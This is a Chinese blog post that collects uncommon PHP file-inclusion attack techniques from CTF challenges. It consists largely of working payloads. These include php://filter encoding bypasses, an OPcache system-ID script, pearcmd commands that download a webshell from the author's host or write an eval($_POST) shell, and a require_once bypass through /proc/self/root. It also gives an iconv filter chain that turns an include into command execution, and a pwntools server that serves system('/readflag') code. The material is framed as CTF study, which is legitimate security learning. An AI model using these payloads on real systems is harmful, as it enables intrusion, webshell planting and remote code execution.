前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF中文件包含的几种不常规利用姿势总结

CTF中文件包含的几种不常规利用姿势总结

作者头像
Y1ng
发布2022-10-31 11:29:14
1.5K0
发布2022-10-31 11:29:14
举报
文章被收录于专栏:颖奇L'Amore

Author: 颖奇L’Amore

Blog: www.gem-love.com


前言

目前CTF里主流出的PHP文件包含,主要是以下几种:

  1. 通过LFI读文件(包括直接读非PHP文件和使用php伪协议)
  2. 上传图片等附件,内容中插入php代码,包含导致代码执行
  3. 包含上传的临时文件
  4. 包含session文件、利用SESSION_UPLOAD_PROGRESS
  5. 结合伪协议,例如zip://包含压缩包内文件,触发phar://反序列化
  6. RFI

本文主要总结几种不常见的文件包含考点,当然都是已经出过题的,不是什么0day级别的姿势,只是没有那么普遍,对于初学者来讲可能比较新颖。

然后我这里只介绍大致的思路,因笔者的水平也有限,具体的原理会给出相应的参考文章(本文的三个姿势都是从zeddy的文章中学习的)大家自行去阅读学习。

伪协议读文件

普遍用伪协议读文件都是转成base64的Steam:

代码语言:javascript
复制
php://filter/convert.base64-encode/resource=

当然也有string.rot13之类的,但是如果string base关键字不能用的情况下,还可以用iconv转编码,例如:

代码语言:javascript
复制
php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php
php://filter/convert.iconv.utf-8.utf-7/resource=index.php

至于php的iconv都能用哪些编码,可以从PHP官网查看,挑两个编码用一下就行了。

除此之外,还可以利用include函数解urlencode的特性来编码绕过:

代码语言:javascript
复制
?page=php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=index.php

打opcache缓存

一般题目的形式是给到phpinfo,给文件包含或者任意文件读取,flag在flag.php

例题:湖湘杯2020 web1(当时因为安恒平台把flag直接放环境变量了导致phpinfo直接读flag变成了弱智题,实际的考点是打flag.php的opcache缓存)

代码语言:javascript
复制
<span class="hljs-meta">&lt;?php</span>
error_reporting(<span class="hljs-number">0</span>);

<span class="hljs-comment">//I heard you are good at PHPINFO+LFI, flag is in flag.php, find it my dear noob vegetable hacker.</span>
<span class="hljs-keyword">if</span> ( <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'file'</span>]) ) {
    <span class="hljs-variable">$file</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'file'</span>];
    
    <span class="hljs-keyword">if</span> ( <span class="hljs-variable">$file</span> === <span class="hljs-string">"phpinfo"</span> ) {
        phpinfo(); <span class="hljs-comment">// 有phpinfo</span>
        <span class="hljs-keyword">exit</span>;
    }

    <span class="hljs-keyword">if</span> ( preg_match(<span class="hljs-string">'/proc/i'</span> , <span class="hljs-variable">$file</span>) ) {
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"private"</span>);
    }

    <span class="hljs-variable">$file</span> = <span class="hljs-string">"/var/www/html/"</span> . <span class="hljs-variable">$file</span>;
    <span class="hljs-variable">$content</span> = file_get_contents(<span class="hljs-variable">$file</span>);

    <span class="hljs-keyword">if</span> ( !<span class="hljs-variable">$content</span> ) {
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"nothing"</span>);
    }

    <span class="hljs-keyword">if</span> ( preg_match(<span class="hljs-string">"/script|&lt;\?/i"</span>, <span class="hljs-variable">$content</span>) ) { <span class="hljs-comment">// 不能包含php标签,但是opcache缓存的bin文件不包含php标签,所以可以包含之</span>
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"bypass me"</span>);
    }

    <span class="hljs-keyword">include_once</span> <span class="hljs-variable">$file</span>; <span class="hljs-comment">// 有文件包含 可以读文件用</span>

} <span class="hljs-keyword">else</span> {
    highlight_file(<span class="hljs-keyword">__FILE__</span>);
}

OPcache通过将PHP脚本预编译的字节码存储到共享内存中来提升PHP的性能, 存储预编译字节码的好处就是省去了每次加载和解析PHP脚本的开销

他本来是个提升性能的扩展,然而他的配置有一个比较有趣的东西就是 opcache.file_cache

上图这个配置意味着,在/var/www/cache/下存在着 PHP 的缓存文件,那么自然也会有 flag.php 的缓存,会在缓存文件夹内以/var/www/html/flag.php.bin存在,而完整的绝对路径是/var/www/cache/[一个 md5]/ var/www/html/flag.php.bin

然而这个文件名,也就是这个MD5是多少是不知道的。查阅资料可知,这个md5被称为 system id,它的计算算法是固定的,由php版本号、zend extension id、Zend Bin ID,这三样拼接起来md5即可,而这3种东西正好全都在phpinfo里可以拿到,可以使用该脚本一键计算:

代码语言:javascript
复制
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> md5 <span class="hljs-keyword">import</span> md5
<span class="hljs-keyword">from</span> packaging <span class="hljs-keyword">import</span> version <span class="hljs-comment"># python2 -m pip install -I packaging==17.0</span>


url = <span class="hljs-string">'http://y1ng.vip:4332/'</span>
phpinfo_url = url + <span class="hljs-string">'/?phpinfo'</span>

text = requests.get(phpinfo_url).text
php_version = re.search(<span class="hljs-string">'&lt;tr&gt;&lt;td class="e"&gt;PHP Version &lt;/td&gt;&lt;td class="v"&gt;(.*) &lt;/td&gt;&lt;/tr&gt;'</span>, text)
<span class="hljs-keyword">if</span> php_version == <span class="hljs-literal">None</span>:
    php_version = re.search(<span class="hljs-string">'&lt;h1 class="p"&gt;PHP Version (.*)'</span>, text)
<span class="hljs-keyword">if</span> php_version == <span class="hljs-literal">None</span>:
    <span class="hljs-built_in">print</span> <span class="hljs-string">"No PHP version found, is this a phpinfo file?"</span>
    exit(<span class="hljs-number">0</span>)
php_version = php_version.group(<span class="hljs-number">1</span>)
php_greater_74 = (version.parse(<span class="hljs-string">"7.4.0"</span>) &lt; version.parse(php_version.split(<span class="hljs-string">"-"</span>)[<span class="hljs-number">0</span>]))
zend_extension_id = re.search(<span class="hljs-string">'&lt;tr&gt;&lt;td class="e"&gt;Zend Extension Build &lt;/td&gt;&lt;td class="v"&gt;(.*) &lt;/td&gt;&lt;/tr&gt;'</span>, text)
<span class="hljs-keyword">if</span> zend_extension_id == <span class="hljs-literal">None</span>:
    <span class="hljs-built_in">print</span> <span class="hljs-string">"No Zend Extension Build found."</span>
    exit(<span class="hljs-number">0</span>)
zend_extension_id = zend_extension_id.group(<span class="hljs-number">1</span>)
architecture = re.search(<span class="hljs-string">'&lt;tr&gt;&lt;td class="e"&gt;System &lt;/td&gt;&lt;td class="v"&gt;(.*) &lt;/td&gt;&lt;/tr&gt;'</span>, text)
<span class="hljs-keyword">if</span> architecture == <span class="hljs-literal">None</span>:
    <span class="hljs-built_in">print</span> <span class="hljs-string">"No System info found."</span>
    exit(<span class="hljs-number">0</span>)
architecture = architecture.group(<span class="hljs-number">1</span>).split()[-<span class="hljs-number">1</span>]
<span class="hljs-keyword">if</span> architecture == <span class="hljs-string">"x86_64"</span>:
    bin_id_suffix = <span class="hljs-string">"48888"</span>
<span class="hljs-keyword">else</span>:
    bin_id_suffix = <span class="hljs-string">"44444"</span>
<span class="hljs-keyword">if</span> php_greater_74:
    zend_bin_id = <span class="hljs-string">"BIN_"</span> + bin_id_suffix
<span class="hljs-keyword">else</span>:
    zend_bin_id = <span class="hljs-string">"BIN_SIZEOF_CHAR"</span> + bin_id_suffix
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> php_greater_74:
    <span class="hljs-keyword">if</span> architecture == <span class="hljs-string">"x86_64"</span>:
        alt_bin_id_suffix = <span class="hljs-string">"148888"</span>
    <span class="hljs-keyword">else</span>:
        alt_bin_id_suffix = <span class="hljs-string">"144444"</span>

    alt_zend_bin_id = <span class="hljs-string">"BIN_"</span> + alt_bin_id_suffix
<span class="hljs-built_in">print</span> <span class="hljs-string">"PHP version : "</span> + php_version
<span class="hljs-built_in">print</span> <span class="hljs-string">"Zend Extension ID : "</span> + zend_extension_id
<span class="hljs-built_in">print</span> <span class="hljs-string">"Zend Bin ID : "</span> + zend_bin_id
<span class="hljs-built_in">print</span> <span class="hljs-string">"Assuming "</span> + architecture + <span class="hljs-string">" architecture"</span>
digest = md5(php_version + zend_extension_id + zend_bin_id).hexdigest()
<span class="hljs-built_in">print</span> <span class="hljs-string">"------------"</span>
<span class="hljs-built_in">print</span> <span class="hljs-string">"System ID : "</span> + digest
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> php_greater_74:
    alt_digest = md5(php_version + zend_extension_id + alt_zend_bin_id).hexdigest()
    <span class="hljs-built_in">print</span> <span class="hljs-string">"PHP lower than 7.4 detected, an alternate Bin ID is possible:"</span>
    <span class="hljs-built_in">print</span> <span class="hljs-string">"Alternate Zend Bin ID : "</span> + alt_zend_bin_id
    <span class="hljs-built_in">print</span> <span class="hljs-string">"Alternate System ID : "</span> + alt_digest
<span class="hljs-built_in">print</span> <span class="hljs-string">"------------"</span>

包含pearcmd装马

关于详细的pearcmd包含可以参考这篇文章,这里我只讲怎么利用

在phpinfo中如果看到register_argc_argv开放,可以获取外部的参数,以+作为分隔符

pearcmd.php是pear命令调用的文件,是用来管理依赖的,类似python的pip。能包含它又能给参数的话,就可以用它来安装木马了:

靶机可以出网

在自己的云主机上准备一个shell

利用方式

代码语言:javascript
复制
/?include=/usr/local/lib/php/pearcmd.php&amp;+install+http://y1ng.vip/y1ng.php
/?include=/usr/local/lib/php/pearcmd.php&amp;+download+http://y1ng.vip/y1ng.php

install会下载到/tmp目录下,用download会下载到当前目录(但是大部分情况当前目录都没有可写权限,所以推荐用install

靶机不能出网

写shell:

代码语言:javascript
复制
/?include=/usr/local/lib/php/pearcmd.php&amp;+config-create+/&lt;?=eval($_POST[y1ng])?&gt;+/tmp/y1ng.php

注意这里需要burp发包,不可用浏览器

不可直接用浏览器的原因是,浏览器会自动把php代码中的< >给url编码,实际写入的是%3C?=eval($_POST[y1ng])?%3E,导致php执行失败

绕过包含次数限制

我们知道include_once require_once对于同一个文件只能包含一次,有没有办法多次包含呢?

WMCTF2020 make php great again 2.0这个题:

代码语言:javascript
复制
<span class="hljs-meta">&lt;?php</span>
<span class="hljs-keyword">require_once</span>(<span class="hljs-string">'flag.php'</span>);
<span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'content'</span>])) {
    <span class="hljs-variable">$content</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'content'</span>];
    <span class="hljs-keyword">require_once</span>(<span class="hljs-variable">$content</span>);
} 

已经包含了flag.php一次了,那么就没办法继续包含它了。解题方法如下:

代码语言:javascript
复制
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

路径中的/proc/self/root就表示/ 所以/proc/self/root/proc/self/root···就一直表示/路径。至于为什么可以这样,可以看php源码分析 require_once 绕过不能重复包含文件的限制的分析。

include2shell

具体原理及构造思路可以参考陆队的文章:hxp CTF 2021 - The End Of LFI?

代码语言:javascript
复制
http://y1ng.vip/include.php?page=
php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&amp;0=id

即可包含一个shell:

代码语言:javascript
复制
<span class="hljs-meta">&lt;?=</span>`<span class="hljs-variable">$_GET</span>[<span class="hljs-number">0</span>]`;;<span class="hljs-meta">?&gt;</span>

compress.zlib生成临时文件

参考陆老师的文章:36c3 Web 学习记录

是临时文件包含的延伸利用姿势,可以使用compress.zlib://来生成临时文件,需要自己开一个http server返回大文件:

代码语言:javascript
复制
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> threading
<span class="hljs-keyword">import</span> time


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">send_chunk</span>(<span class="hljs-params">l, data</span>):</span>
    l.send(<span class="hljs-string">'''{}\r</span>
<span class="hljs-string">{}\r</span>
<span class="hljs-string">'''</span>.<span class="hljs-built_in">format</span>(<span class="hljs-built_in">hex</span>(<span class="hljs-built_in">len</span>(data))[<span class="hljs-number">2</span>:], data))

<span class="hljs-keyword">while</span>(<span class="hljs-literal">True</span>):
    l = listen(<span class="hljs-number">9999</span>)
    l.wait_for_connection()

    data1 = <span class="hljs-string">''</span>.ljust(<span class="hljs-number">1024</span> * <span class="hljs-number">8</span>, <span class="hljs-string">'X'</span>)
    data2 = <span class="hljs-string">'&lt;?php system("/readflag"); exit(); /*'</span>.ljust(<span class="hljs-number">1024</span> * <span class="hljs-number">8</span>, <span class="hljs-string">'b'</span>)
    data3 = <span class="hljs-string">'c*/'</span>.rjust(<span class="hljs-number">1024</span> * <span class="hljs-number">8</span>, <span class="hljs-string">'c'</span>)

    l.recvuntil(<span class="hljs-string">'\r\n\r\n'</span>)
    l.send(<span class="hljs-string">'''HTTP/1.1 200 OK\r</span>
<span class="hljs-string">Content-Type: exploit/revxakep\r</span>
<span class="hljs-string">Connection: close\r</span>
<span class="hljs-string">Transfer-Encoding: chunked\r</span>
<span class="hljs-string">\r</span>
<span class="hljs-string">'''</span>)

    send_chunk(l, data1)

    <span class="hljs-built_in">print</span>(<span class="hljs-string">'waiting...'</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">'sending php code...'</span>)

    send_chunk(l, data2)

    sleep(<span class="hljs-number">3</span>)

    send_chunk(l, data3)

    l.send(<span class="hljs-string">'''0\r</span>
<span class="hljs-string">\r</span>
<span class="hljs-string">\r</span>
<span class="hljs-string">'''</span>)
    l.close()

然后包含即可生成,这里直接贴路队的文章截图:

除了http以外,还可以使用ftp协议,并且控制ftp的速度,可以让临时文件更久的保留。

包含nginx临时文件

依然是临时文件包含的延伸利用姿势。大概利用到如下几条原理:

  1. 当nginx接收fastcgi响应过大则会将一部分内容以临时文件的形式存在硬盘上
  2. 临时文件会被很快清除,但是/proc/xxx/fd/x依然可以取到这个临时文件的内容,pid和fd需要遍历
  3. 利用上面wmctf例题绕过包含次数限制的方法去包含/proc/xxx/fd/x即可

详细的思路请看陆老师的文章:hxp CTF 2021 - A New Novel LFI

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-06-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言▸
  • 伪协议读文件▸
  • 打opcache缓存▸
  • 包含pearcmd装马▸
    • 靶机可以出网▸
      • 靶机不能出网▸
      • 绕过包含次数限制▸
      • include2shell▸
      • compress.zlib生成临时文件▸
      • 包含nginx临时文件▸
      相关产品与服务
      云服务器
      云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档